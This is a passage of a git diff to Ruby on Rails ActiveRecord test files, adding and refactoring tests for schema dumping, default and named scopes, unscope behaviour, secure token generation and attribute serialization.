-      connection = ActiveRecord::Base.connection
-      skip unless connection.supports_extensions?
-
-      connection.stubs(:extensions).returns(['hstore'])
-      output = standard_dump
-      assert_match "# These are extensions that must be enabled", output
-      assert_match %r{enable_extension "hstore"}, output
+    if ActiveRecord::Base.connection.supports_extensions?
+      def test_schema_dump_includes_extensions
+        connection = ActiveRecord::Base.connection
 
-      connection.stubs(:extensions).returns([])
-      output = standard_dump
-      assert_no_match "# These are extensions that must be enabled", output
-      assert_no_match %r{enable_extension}, output
-    end
+        connection.stubs(:extensions).returns(['hstore'])
+        output = perform_schema_dump
+        assert_match "# These are extensions that must be enabled", output
+        assert_match %r{enable_extension "hstore"}, output
 
-    def test_schema_dump_includes_xml_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_xml_data_type"} =~ output
-        assert_match %r{t.xml "data"}, output
-      end
-    end
-
-    def test_schema_dump_includes_json_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_json_data_type"} =~ output
-        assert_match %r|t.json "json_data", default: {}|, output
-      end
-    end
-
-    def test_schema_dump_includes_inet_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_network_addresses"} =~ output
-        assert_match %r{t.inet\s+"inet_address",\s+default: "192.168.1.1"}, output
-      end
-    end
-
-    def test_schema_dump_includes_cidr_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_network_addresses"} =~ output
-        assert_match %r{t.cidr\s+"cidr_address",\s+default: "192.168.1.0/24"}, output
-      end
-    end
-
-    def test_schema_dump_includes_macaddr_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_network_addresses"} =~ output
-        assert_match %r{t.macaddr\s+"mac_address",\s+default: "ff:ff:ff:ff:ff:ff"}, output
-      end
-    end
-
-    def test_schema_dump_includes_uuid_shorthand_definition
-      output = standard_dump
-      if %r{create_table "poistgresql_uuids"} =~ output
-        assert_match %r{t.uuid "guid"}, output
-      end
-    end
-
-    def test_schema_dump_includes_hstores_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_hstores"} =~ output
-        assert_match %r[t.hstore "hash_store", default: {}], output
-      end
-    end
-
-    def test_schema_dump_includes_ltrees_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_ltrees"} =~ output
-        assert_match %r[t.ltree "path"], output
-      end
-    end
-
-    def test_schema_dump_includes_arrays_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_arrays"} =~ output
-        assert_match %r[t.text\s+"nicknames",\s+array: true], output
-        assert_match %r[t.integer\s+"commission_by_quarter",\s+array: true], output
-      end
-    end
-
-    def test_schema_dump_includes_tsvector_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_tsvectors"} =~ output
-        assert_match %r{t.tsvector "text_vector"}, output
+        connection.stubs(:extensions).returns([])
+        output = perform_schema_dump
+        assert_no_match "# These are extensions that must be enabled", output
+        assert_no_match %r{enable_extension}, output
       end
     end
   end
@@ -338,9 +271,11 @@ class SchemaDumperTest < ActiveRecord::TestCase
     output = standard_dump
     # Oracle supports precision up to 38 and it identifies decimals with scale 0 as integers
     if current_adapter?(:OracleAdapter)
-      assert_match %r{t.integer\s+"atoms_in_universe",\s+precision: 38,\s+scale: 0}, output
+      assert_match %r{t\.integer\s+"atoms_in_universe",\s+precision: 38}, output
+    elsif current_adapter?(:FbAdapter)
+      assert_match %r{t\.integer\s+"atoms_in_universe",\s+precision: 18}, output
     else
-      assert_match %r{t.decimal\s+"atoms_in_universe",\s+precision: 55,\s+scale: 0}, output
+      assert_match %r{t\.decimal\s+"atoms_in_universe",\s+precision: 55}, output
     end
   end
 
@@ -349,7 +284,7 @@ class SchemaDumperTest < ActiveRecord::TestCase
     match = output.match(%r{create_table "goofy_string_id"(.*)do.*\n(.*)\n})
     assert_not_nil(match, "goofy_string_id table not found")
     assert_match %r(id: false), match[1], "no table id not preserved"
-    assert_match %r{t.string[[:space:]]+"id",[[:space:]]+null: false$}, match[2], "non-primary key id column not preserved"
+    assert_match %r{t\.string\s+"id",.*?null: false$}, match[2], "non-primary key id column not preserved"
   end
 
   def test_schema_dump_keeps_id_false_when_id_is_false_and_unique_not_null_column_added
@@ -357,15 +292,33 @@ class SchemaDumperTest < ActiveRecord::TestCase
     assert_match %r{create_table "subscribers", id: false}, output
   end
 
+  if ActiveRecord::Base.connection.supports_foreign_keys?
+    def test_foreign_keys_are_dumped_at_the_bottom_to_circumvent_dependency_issues
+      output = standard_dump
+      assert_match(/^\s+add_foreign_key "fk_test_has_fk"[^\n]+\n\s+add_foreign_key "lessons_students"/, output)
+    end
+
+    def test_do_not_dump_foreign_keys_for_ignored_tables
+      output = dump_table_schema "authors"
+      assert_equal ["authors"], output.scan(/^\s*add_foreign_key "([^"]+)".+$/).flatten
+    end
+  end
+
   class CreateDogMigration < ActiveRecord::Migration
     def up
+      create_table("dog_owners") do |t|
+      end
+
       create_table("dogs") do |t|
         t.column :name, :string
+        t.column :owner_id, :integer
       end
       add_index "dogs", [:name]
+      add_foreign_key :dogs, :dog_owners, column: "owner_id" if supports_foreign_keys?
     end
     def down
       drop_table("dogs")
+      drop_table("dog_owners")
     end
   end
 
@@ -377,15 +330,47 @@ class SchemaDumperTest < ActiveRecord::TestCase
     migration = CreateDogMigration.new
     migration.migrate(:up)
 
-    output = standard_dump
+    output = perform_schema_dump
     assert_no_match %r{create_table "foo_.+_bar"}, output
-    assert_no_match %r{create_index "foo_.+_bar"}, output
+    assert_no_match %r{add_index "foo_.+_bar"}, output
     assert_no_match %r{create_table "schema_migrations"}, output
+
+    if ActiveRecord::Base.connection.supports_foreign_keys?
+      assert_no_match %r{add_foreign_key "foo_.+_bar"}, output
+      assert_no_match %r{add_foreign_key "[^"]+", "foo_.+_bar"}, output
+    end
   ensure
     migration.migrate(:down)
 
     ActiveRecord::Base.table_name_suffix = ActiveRecord::Base.table_name_prefix = ''
     $stdout = original
   end
+end
+
+class SchemaDumperDefaultsTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :defaults, force: true do |t|
+      t.string   :string_with_default,   default: "Hello!"
+      t.date     :date_with_default,     default: '2014-06-05'
+      t.datetime :datetime_with_default, default: "2014-06-05 07:17:04"
+      t.time     :time_with_default,     default: "07:17:04"
+    end
+  end
+
+  teardown do
+    return unless @connection
+    @connection.execute 'DROP TABLE defaults' if @connection.table_exists? 'defaults'
+  end
 
+  def test_schema_dump_defaults_with_universally_supported_types
+    output = dump_table_schema('defaults')
+
+    assert_match %r{t\.string\s+"string_with_default",.*?default: "Hello!"}, output
+    assert_match %r{t\.date\s+"date_with_default",\s+default: '2014-06-05'}, output
+    assert_match %r{t\.datetime\s+"datetime_with_default",\s+default: '2014-06-05 07:17:04'}, output
+    assert_match %r{t\.time\s+"time_with_default",\s+default: '2000-01-01 07:17:04'}, output
+  end
 end
diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb
index cd7d91ff85..4137b20c4a 100644
--- a/activerecord/test/cases/scoping/default_scoping_test.rb
+++ b/activerecord/test/cases/scoping/default_scoping_test.rb
@@ -1,13 +1,15 @@
 require 'cases/helper'
 require 'models/post'
+require 'models/comment'
 require 'models/developer'
+require 'models/computer'
 
 class DefaultScopingTest < ActiveRecord::TestCase
-  fixtures :developers, :posts
+  fixtures :developers, :posts, :comments
 
   def test_default_scope
-    expected = Developer.all.merge!(:order => 'salary DESC').to_a.collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.all.collect { |dev| dev.salary }
+    expected = Developer.all.merge!(:order => 'salary DESC').to_a.collect(&:salary)
+    received = DeveloperOrderedBySalary.all.collect(&:salary)
     assert_equal expected, received
   end
 
@@ -54,14 +56,14 @@ class DefaultScopingTest < ActiveRecord::TestCase
     assert_equal 'Jamis', DeveloperCalledJamis.create!.name
   end
 
-  def test_default_scoping_with_threads
-    skip "in-memory database mustn't disconnect" if in_memory_db?
-
-    2.times do
-      Thread.new {
-        assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC')
-        DeveloperOrderedBySalary.connection.close
-      }.join
+  unless in_memory_db?
+    def test_default_scoping_with_threads
+      2.times do
+        Thread.new {
+          assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC')
+          DeveloperOrderedBySalary.connection.close
+        }.join
+      end
     end
   end
 
@@ -84,14 +86,14 @@ class DefaultScopingTest < ActiveRecord::TestCase
   end
 
   def test_scope_overwrites_default
-    expected = Developer.all.merge!(order: 'salary DESC, name DESC').to_a.collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.by_name.to_a.collect { |dev| dev.name }
+    expected = Developer.all.merge!(order: 'salary DESC, name DESC').to_a.collect(&:name)
+    received = DeveloperOrderedBySalary.by_name.to_a.collect(&:name)
     assert_equal expected, received
   end
 
   def test_reorder_overrides_default_scope_order
-    expected = Developer.order('name DESC').collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.reorder('name DESC').collect { |dev| dev.name }
+    expected = Developer.order('name DESC').collect(&:name)
+    received = DeveloperOrderedBySalary.reorder('name DESC').collect(&:name)
     assert_equal expected, received
   end
 
@@ -103,7 +105,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
 
   def test_unscope_overrides_default_scope
     expected = Developer.all.collect { |dev| [dev.name, dev.id] }
-    received = Developer.order('name ASC, id DESC').unscope(:order).collect { |dev| [dev.name, dev.id] }
+    received = DeveloperCalledJamis.unscope(:where).collect { |dev| [dev.name, dev.id] }
     assert_equal expected, received
   end
 
@@ -122,38 +124,64 @@ class DefaultScopingTest < ActiveRecord::TestCase
   end
 
   def test_unscope_with_where_attributes
-    expected = Developer.order('salary DESC').collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.where(name: 'David').unscope(where: :name).collect { |dev| dev.name }
+    expected = Developer.order('salary DESC').collect(&:name)
+    received = DeveloperOrderedBySalary.where(name: 'David').unscope(where: :name).collect(&:name)
     assert_equal expected, received
 
-    expected_2 = Developer.order('salary DESC').collect { |dev| dev.name }
-    received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({:where => :name}, :select).collect { |dev| dev.name }
+    expected_2 = Developer.order('salary DESC').collect(&:name)
+    received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({:where => :name}, :select).collect(&:name)
     assert_equal expected_2, received_2
 
-    expected_3 = Developer.order('salary DESC').collect { |dev| dev.name }
-    received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect { |dev| dev.name }
+    expected_3 = Developer.order('salary DESC').collect(&:name)
+    received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect(&:name)
     assert_equal expected_3, received_3
+
+    expected_4 = Developer.order('salary DESC').collect(&:name)
+    received_4 = DeveloperOrderedBySalary.where.not("name" => "Jamis").unscope(where: :name).collect(&:name)
+    assert_equal expected_4, received_4
+
+    expected_5 = Developer.order('salary DESC').collect(&:name)
+    received_5 = DeveloperOrderedBySalary.where.not("name" => ["Jamis", "David"]).unscope(where: :name).collect(&:name)
+    assert_equal expected_5, received_5
+
+    expected_6 = Developer.order('salary DESC').collect(&:name)
+    received_6 = DeveloperOrderedBySalary.where(Developer.arel_table['name'].eq('David')).unscope(where: :name).collect(&:name)
+    assert_equal expected_6, received_6
+
+    expected_7 = Developer.order('salary DESC').collect(&:name)
+    received_7 = DeveloperOrderedBySalary.where(Developer.arel_table[:name].eq('David')).unscope(where: :name).collect(&:name)
+    assert_equal expected_7, received_7
   end
 
   def test_unscope_multiple_where_clauses
-    expected = Developer.order('salary DESC').collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.where(name: 'Jamis').where(id: 1).unscope(where: [:name, :id]).collect { |dev| dev.name }
+    expected = Developer.order('salary DESC').collect(&:name)
+    received = DeveloperOrderedBySalary.where(name: 'Jamis').where(id: 1).unscope(where: [:name, :id]).collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_unscope_string_where_clauses_involved
+    dev_relation = Developer.order('salary DESC').where("created_at > ?", 1.year.ago)
+    expected = dev_relation.collect(&:name)
+
+    dev_ordered_relation = DeveloperOrderedBySalary.where(name: 'Jamis').where("created_at > ?", 1.year.ago)
+    received = dev_ordered_relation.unscope(where: [:name]).collect(&:name)
+
     assert_equal expected, received
   end
 
   def test_unscope_with_grouping_attributes
-    expected = Developer.order('salary DESC').collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.group(:name).unscope(:group).collect { |dev| dev.name }
+    expected = Developer.order('salary DESC').collect(&:name)
+    received = DeveloperOrderedBySalary.group(:name).unscope(:group).collect(&:name)
     assert_equal expected, received
 
-    expected_2 = Developer.order('salary DESC').collect { |dev| dev.name }
-    received_2 = DeveloperOrderedBySalary.group("name").unscope(:group).collect { |dev| dev.name }
+    expected_2 = Developer.order('salary DESC').collect(&:name)
+    received_2 = DeveloperOrderedBySalary.group("name").unscope(:group).collect(&:name)
     assert_equal expected_2, received_2
   end
 
   def test_unscope_with_limit_in_query
-    expected = Developer.order('salary DESC').collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.limit(1).unscope(:limit).collect { |dev| dev.name }
+    expected = Developer.order('salary DESC').collect(&:name)
+    received = DeveloperOrderedBySalary.limit(1).unscope(:limit).collect(&:name)
     assert_equal expected, received
   end
 
@@ -163,42 +191,42 @@ class DefaultScopingTest < ActiveRecord::TestCase
   end
 
   def test_unscope_reverse_order
-    expected = Developer.all.collect { |dev| dev.name }
-    received = Developer.order('salary DESC').reverse_order.unscope(:order).collect { |dev| dev.name }
+    expected = Developer.all.collect(&:name)
+    received = Developer.order('salary DESC').reverse_order.unscope(:order).collect(&:name)
     assert_equal expected, received
   end
 
   def test_unscope_select
-    expected = Developer.order('salary ASC').collect { |dev| dev.name }
-    received = Developer.order('salary DESC').reverse_order.select(:name => "Jamis").unscope(:select).collect { |dev| dev.name }
+    expected = Developer.order('salary ASC').collect(&:name)
+    received = Developer.order('salary DESC').reverse_order.select(:name).unscope(:select).collect(&:name)
     assert_equal expected, received
 
-    expected_2 = Developer.all.collect { |dev| dev.id }
-    received_2 = Developer.select(:name).unscope(:select).collect { |dev| dev.id }
+    expected_2 = Developer.all.collect(&:id)
+    received_2 = Developer.select(:name).unscope(:select).collect(&:id)
     assert_equal expected_2, received_2
   end
 
   def test_unscope_offset
-    expected = Developer.all.collect { |dev| dev.name }
-    received = Developer.offset(5).unscope(:offset).collect { |dev| dev.name }
+    expected = Developer.all.collect(&:name)
+    received = Developer.offset(5).unscope(:offset).collect(&:name)
     assert_equal expected, received
   end
 
   def test_unscope_joins_and_select_on_developers_projects
-    expected = Developer.all.collect { |dev| dev.name }
-    received = Developer.joins('JOIN developers_projects ON id = developer_id').select(:id).unscope(:joins, :select).collect { |dev| dev.name }
+    expected = Developer.all.collect(&:name)
+    received = Developer.joins('JOIN developers_projects ON id = developer_id').select(:id).unscope(:joins, :select).collect(&:name)
     assert_equal expected, received
   end
 
   def test_unscope_includes
-    expected = Developer.all.collect { |dev| dev.name }
-    received = Developer.includes(:projects).select(:id).unscope(:includes, :select).collect { |dev| dev.name }
+    expected = Developer.all.collect(&:name)
+    received = Developer.includes(:projects).select(:id).unscope(:includes, :select).collect(&:name)
     assert_equal expected, received
   end
 
   def test_unscope_having
-    expected = DeveloperOrderedBySalary.all.collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.having("name IN ('Jamis', 'David')").unscope(:having).collect { |dev| dev.name }
+    expected = DeveloperOrderedBySalary.all.collect(&:name)
+    received = DeveloperOrderedBySalary.having("name IN ('Jamis', 'David')").unscope(:having).collect(&:name)
     assert_equal expected, received
   end
 
@@ -254,9 +282,15 @@ class DefaultScopingTest < ActiveRecord::TestCase
     end
   end
 
+  def test_unscope_merging
+    merged = Developer.where(name: "Jamis").merge(Developer.unscope(:where))
+    assert merged.where_clause.empty?
+    assert !merged.where(name: "Jon").where_clause.empty?
+  end
+
   def test_order_in_default_scope_should_not_prevail
-    expected = Developer.all.merge!(order: 'salary desc').to_a.collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.all.merge!(order: 'salary').to_a.collect { |dev| dev.salary }
+    expected = Developer.all.merge!(order: 'salary desc').to_a.collect(&:salary)
+    received = DeveloperOrderedBySalary.all.merge!(order: 'salary').to_a.collect(&:salary)
     assert_equal expected, received
   end
 
@@ -354,23 +388,57 @@ class DefaultScopingTest < ActiveRecord::TestCase
     assert_equal 1, DeveloperWithIncludes.where(:audit_logs => { :message => 'foo' }).count
   end
 
-  def test_default_scope_is_threadsafe
-    if in_memory_db?
-      skip "in memory db can't share a db between threads"
-    end
+  def test_default_scope_with_references_works_through_collection_association
+    post = PostWithCommentWithDefaultScopeReferencesAssociation.create!(title: "Hello World", body: "Here we go.")
+    comment = post.comment_with_default_scope_references_associations.create!(body: "Great post.", developer_id: Developer.first.id)
+    assert_equal comment, post.comment_with_default_scope_references_associations.to_a.first
+  end
 
-    threads = []
-    assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+  def test_default_scope_with_references_works_through_association
+    post = PostWithCommentWithDefaultScopeReferencesAssociation.create!(title: "Hello World", body: "Here we go.")
+    comment = post.comment_with_default_scope_references_associations.create!(body: "Great post.", developer_id: Developer.first.id)
+    assert_equal comment, post.first_comment
+  end
 
-    threads << Thread.new do
-      Thread.current[:long_default_scope] = true
-      assert_equal 1, ThreadsafeDeveloper.all.to_a.count
-      ThreadsafeDeveloper.connection.close
-    end
-    threads << Thread.new do
-      assert_equal 1, ThreadsafeDeveloper.all.to_a.count
-      ThreadsafeDeveloper.connection.close
+  def test_default_scope_with_references_works_with_find_by
+    post = PostWithCommentWithDefaultScopeReferencesAssociation.create!(title: "Hello World", body: "Here we go.")
+    comment = post.comment_with_default_scope_references_associations.create!(body: "Great post.", developer_id: Developer.first.id)
+    assert_equal comment, CommentWithDefaultScopeReferencesAssociation.find_by(id: comment.id)
+  end
+
+  unless in_memory_db?
+    def test_default_scope_is_threadsafe
+      threads = []
+      assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+
+      threads << Thread.new do
+        Thread.current[:long_default_scope] = true
+        assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+        ThreadsafeDeveloper.connection.close
+      end
+      threads << Thread.new do
+        assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+        ThreadsafeDeveloper.connection.close
+      end
+      threads.each(&:join)
     end
-    threads.each(&:join)
+  end
+
+  test "additional conditions are ANDed with the default scope" do
+    scope = DeveloperCalledJamis.where(name: "David")
+    assert_equal 2, scope.where_clause.ast.children.length
+    assert_equal [], scope.to_a
+  end
+
+  test "additional conditions in a scope are ANDed with the default scope" do
+    scope = DeveloperCalledJamis.david
+    assert_equal 2, scope.where_clause.ast.children.length
+    assert_equal [], scope.to_a
+  end
+
+  test "a scope can remove the condition from the default scope" do
+    scope = DeveloperCalledJamis.david2
+    assert_equal 1, scope.where_clause.ast.children.length
+    assert_equal Developer.where(name: "David"), scope
   end
 end
diff --git a/activerecord/test/cases/scoping/named_scoping_test.rb b/activerecord/test/cases/scoping/named_scoping_test.rb
index 72c9787b84..8cd94ebcc2 100644
--- a/activerecord/test/cases/scoping/named_scoping_test.rb
+++ b/activerecord/test/cases/scoping/named_scoping_test.rb
@@ -5,6 +5,7 @@ require 'models/comment'
 require 'models/reply'
 require 'models/author'
 require 'models/developer'
+require 'models/computer'
 
 class NamedScopingTest < ActiveRecord::TestCase
   fixtures :posts, :authors, :topics, :comments, :author_addresses
@@ -132,6 +133,13 @@ class NamedScopingTest < ActiveRecord::TestCase
     assert_equal Post.ranked_by_comments.limit_by(5), Post.top(5)
   end
 
+  def test_scopes_body_is_a_callable
+    e = assert_raises ArgumentError do
+      Class.new(Post).class_eval { scope :containing_the_letter_z, where("body LIKE '%z%'") }
+    end
+    assert_equal "The scope body needs to be callable.", e.message
+  end
+
   def test_active_records_have_scope_named__all__
     assert !Topic.all.empty?
 
@@ -266,6 +274,71 @@ class NamedScopingTest < ActiveRecord::TestCase
     assert_equal 'lifo', topic.author_name
   end
 
+  def test_reserved_scope_names
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+
+      scope :approved, -> { where(approved: true) }
+
+      class << self
+        public
+          def pub; end
+
+        private
+          def pri; end
+
+        protected
+          def pro; end
+      end
+    end
+
+    subklass = Class.new(klass)
+
+    conflicts = [
+      :create,        # public class method on AR::Base
+      :relation,      # private class method on AR::Base
+      :new,           # redefined class method on AR::Base
+      :all,           # a default scope
+      :public,        # some imporant methods on Module and Class
+      :protected,
+      :private,
+      :name,
+      :parent,
+      :superclass
+    ]
+
+    non_conflicts = [
+      :find_by_title, # dynamic finder method
+      :approved,      # existing scope
+      :pub,           # existing public class method
+      :pri,           # existing private class method
+      :pro,           # existing protected class method
+      :open,          # a ::Kernel method
+    ]
+
+    conflicts.each do |name|
+      assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+        klass.class_eval { scope name, ->{ where(approved: true) } }
+      end
+
+      assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+        subklass.class_eval { scope name, ->{ where(approved: true) } }
+      end
+    end
+
+    non_conflicts.each do |name|
+      assert_nothing_raised do
+        silence_warnings do
+          klass.class_eval { scope name, ->{ where(approved: true) } }
+        end
+      end
+
+      assert_nothing_raised do
+        subklass.class_eval { scope name, ->{ where(approved: true) } }
+      end
+    end
+  end
+
   # Method delegation for scope names which look like /\A[a-zA-Z_]\w*[!?]?\z/
   # has been done by evaluating a string with a plain def statement. For scope
   # names which contain spaces this approach doesn't work.
@@ -307,8 +380,8 @@ class NamedScopingTest < ActiveRecord::TestCase
   end
 
   def test_should_not_duplicates_where_values
-    where_values = Topic.where("1=1").scope_with_lambda.where_values
-    assert_equal ["1=1"], where_values
+    relation = Topic.where("1=1")
+    assert_equal relation.where_clause, relation.scope_with_lambda.where_clause
   end
 
   def test_chaining_with_duplicate_joins
@@ -344,13 +417,13 @@ class NamedScopingTest < ActiveRecord::TestCase
   end
 
   def test_scopes_batch_finders
-    assert_equal 3, Topic.approved.count
+    assert_equal 4, Topic.approved.count
 
-    assert_queries(4) do
+    assert_queries(5) do
       Topic.approved.find_each(:batch_size => 1) {|t| assert t.approved? }
     end
 
-    assert_queries(2) do
+    assert_queries(3) do
       Topic.approved.find_in_batches(:batch_size => 2) do |group|
         group.each {|t| assert t.approved? }
       end
@@ -366,7 +439,7 @@ class NamedScopingTest < ActiveRecord::TestCase
   def test_scopes_on_relations
     # Topic.replied
     approved_topics = Topic.all.approved.order('id DESC')
-    assert_equal topics(:fourth), approved_topics.first
+    assert_equal topics(:fifth), approved_topics.first
 
     replied_approved_topics = approved_topics.replied
     assert_equal topics(:third), replied_approved_topics.first
diff --git a/activerecord/test/cases/scoping/relation_scoping_test.rb b/activerecord/test/cases/scoping/relation_scoping_test.rb
index 0018fc06f2..4bfffbe9c6 100644
--- a/activerecord/test/cases/scoping/relation_scoping_test.rb
+++ b/activerecord/test/cases/scoping/relation_scoping_test.rb
@@ -2,6 +2,7 @@ require "cases/helper"
 require 'models/post'
 require 'models/author'
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/comment'
 require 'models/category'
@@ -11,6 +12,30 @@ require 'models/reference'
 class RelationScopingTest < ActiveRecord::TestCase
   fixtures :authors, :developers, :projects, :comments, :posts, :developers_projects
 
+  setup do
+    developers(:david)
+  end
+
+  def test_unscoped_breaks_caching
+    author = authors :mary
+    assert_nil author.first_post
+    post = FirstPost.unscoped do
+      author.reload.first_post
+    end
+    assert post
+  end
+
+  def test_scope_breaks_caching_on_collections
+    author = authors :david
+    ids = author.reload.special_posts_with_default_scope.map(&:id)
+    assert_equal [1,5,6], ids.sort
+    scoped_posts = SpecialPostWithDefaultScope.unscoped do
+      author = authors :david
+      author.reload.special_posts_with_default_scope.to_a
+    end
+    assert_equal author.posts.map(&:id).sort, scoped_posts.map(&:id).sort
+  end
+
   def test_reverse_order
     assert_equal Developer.order("id DESC").to_a.reverse, Developer.order("id DESC").reverse_order
   end
@@ -159,7 +184,7 @@ class RelationScopingTest < ActiveRecord::TestCase
     rescue
     end
 
-    assert !Developer.all.where_values.include?("name = 'Jamis'")
+    assert_not Developer.all.to_sql.include?("name = 'Jamis'"), "scope was not restored"
   end
 
   def test_default_scope_filters_on_joins
@@ -183,6 +208,12 @@ class RelationScopingTest < ActiveRecord::TestCase
     assert_equal [], DeveloperFilteredOnJoins.all
     assert_not_equal [], Developer.all
   end
+
+  def test_current_scope_does_not_pollute_other_subclasses
+    Post.none.scoping do
+      assert StiPost.all.any?
+    end
+  end
 end
 
 class NestedRelationScopingTest < ActiveRecord::TestCase
@@ -192,8 +223,9 @@ class NestedRelationScopingTest < ActiveRecord::TestCase
     Developer.where('salary = 80000').scoping do
       Developer.limit(10).scoping do
         devs = Developer.all
-        assert_match '(salary = 80000)', devs.to_sql
-        assert_equal 10, devs.taken
+        sql = devs.to_sql
+        assert_match '(salary = 80000)', sql
+        assert_match 'LIMIT 10', sql
       end
     end
   end
@@ -259,7 +291,7 @@ class NestedRelationScopingTest < ActiveRecord::TestCase
   end
 end
 
-class HasManyScopingTest< ActiveRecord::TestCase
+class HasManyScopingTest < ActiveRecord::TestCase
   fixtures :comments, :posts, :people, :references
 
   def setup
@@ -305,7 +337,7 @@ class HasManyScopingTest< ActiveRecord::TestCase
   end
 end
 
-class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
+class HasAndBelongsToManyScopingTest < ActiveRecord::TestCase
   fixtures :posts, :categories, :categories_posts
 
   def setup
diff --git a/activerecord/test/cases/secure_token_test.rb b/activerecord/test/cases/secure_token_test.rb
new file mode 100644
index 0000000000..3f7455d12d
--- /dev/null
+++ b/activerecord/test/cases/secure_token_test.rb
@@ -0,0 +1,25 @@
+require 'cases/helper'
+require 'models/user'
+
+class SecureTokenTest < ActiveRecord::TestCase
+  setup do
+    @user = User.new
+  end
+
+  def test_token_values_are_generated_for_specified_attributes_and_persisted_on_save
+    @user.save
+    assert_not_nil @user.token
+    assert_not_nil @user.auth_token
+  end
+
+  def test_regenerating_the_secure_token
+    @user.save
+    old_token = @user.token
+    old_auth_token = @user.auth_token
+    @user.regenerate_token
+    @user.regenerate_auth_token
+
+    assert_not_equal @user.token, old_token
+    assert_not_equal @user.auth_token, old_auth_token
+  end
+end
diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb
index c46060a646..35b13ea247 100644
--- a/activerecord/test/cases/serialization_test.rb
+++ b/activerecord/test/cases/serialization_test.rb
@@ -1,8 +1,13 @@
 require "cases/helper"
 require 'models/contact'
 require 'models/topic'
+require 'models/book'
+require 'models/author'
+require 'models/post'
 
 class SerializationTest < ActiveRecord::TestCase
+  fixtures :books
+
   FORMATS = [ :xml, :json ]
 
   def setup
@@ -65,4 +70,35 @@ class SerializationTest < ActiveRecord::TestCase
   ensure
     ActiveRecord::Base.include_root_in_json = original_root_in_json
   end
+
+  def test_read_attribute_for_serialization_with_format_without_method_missing
+    klazz = Class.new(ActiveRecord::Base)
+    klazz.table_name = 'books'
+
+    book = klazz.new
+    assert_nil book.read_attribute_for_serialization(:format)
+  end
+
+  def test_read_attribute_for_serialization_with_format_after_init
+    klazz = Class.new(ActiveRecord::Base)
+    klazz.table_name = 'books'
+
+    book = klazz.new(format: 'paperback')
+    assert_equal 'paperback', book.read_attribute_for_serialization(:format)
+  end
+
+  def test_read_attribute_for_serialization_with_format_after_find
+    klazz = Class.new(ActiveRecord::Base)
+    klazz.table_name = 'books'
+
+    book = klazz.find(books(:awdr).id)
+    assert_equal 'paperback', book.read_attribute_for_serialization(:format)
+  end
+
+  def test_find_records_by_serialized_attributes_through_join
+    author = Author.create!(name: "David")
+    author.serialized_posts.create!(title: "Hello")
+
+    assert_equal 1, Author.joins(:serialized_posts).where(name: "David", serialized_posts: { title: "Hello" }).length
+  end
 end
diff --git a/activerecord/test/cases/serialized_attribute_test.rb b/activerecord/test/cases/serialized_attribute_test.rb
index b49c27bc78..e29f7462c8 100644
--- a/activerecord/test/cases/serialized_attribute_test.rb
+++ b/activerecord/test/cases/serialized_attribute_test.rb
@@ -3,20 +3,23 @@ require 'models/topic'
 require 'models/reply'
 require 'models/person'
 require 'models/traffic_light'
+require 'models/post'
 require 'bcrypt'
 
 class SerializedAttributeTest < ActiveRecord::TestCase
-  fixtures :topics
+  fixtures :topics, :posts
 
   MyObject = Struct.new :attribute1, :attribute2
 
-  def teardown
-    super
+  teardown do
     Topic.serialize("content")
   end
 
-  def test_list_of_serialized_attributes
-    assert_equal %w(content), Topic.serialized_attributes.keys
+  def test_serialize_does_not_eagerly_load_columns
+    Topic.reset_column_information
+    assert_no_queries do
+      Topic.serialize(:content)
+    end
   end
 
   def test_serialized_attribute
@@ -30,12 +33,6 @@ class SerializedAttributeTest < ActiveRecord::TestCase
     assert_equal(myobj, topic.content)
   end
 
-  def test_serialized_attribute_init_with
-    topic = Topic.allocate
-    topic.init_with('attributes' => { 'content' => '--- foo' })
-    assert_equal 'foo', topic.content
-  end
-
   def test_serialized_attribute_in_base_class
     Topic.serialize("content", Hash)
 
@@ -47,34 +44,56 @@ class SerializedAttributeTest < ActiveRecord::TestCase
     assert_equal(hash, important_topic.content)
   end
 
-  # This test was added to fix GH #4004. Obviously the value returned
-  # is not really the value 'before type cast' so we should maybe think
-  # about changing that in the future.
-  def test_serialized_attribute_before_type_cast_returns_unserialized_value
+  def test_serialized_attributes_from_database_on_subclass
     Topic.serialize :content, Hash
 
-    t = Topic.new(content: { foo: :bar })
-    assert_equal({ foo: :bar }, t.content_before_type_cast)
+    t = Reply.new(content: { foo: :bar })
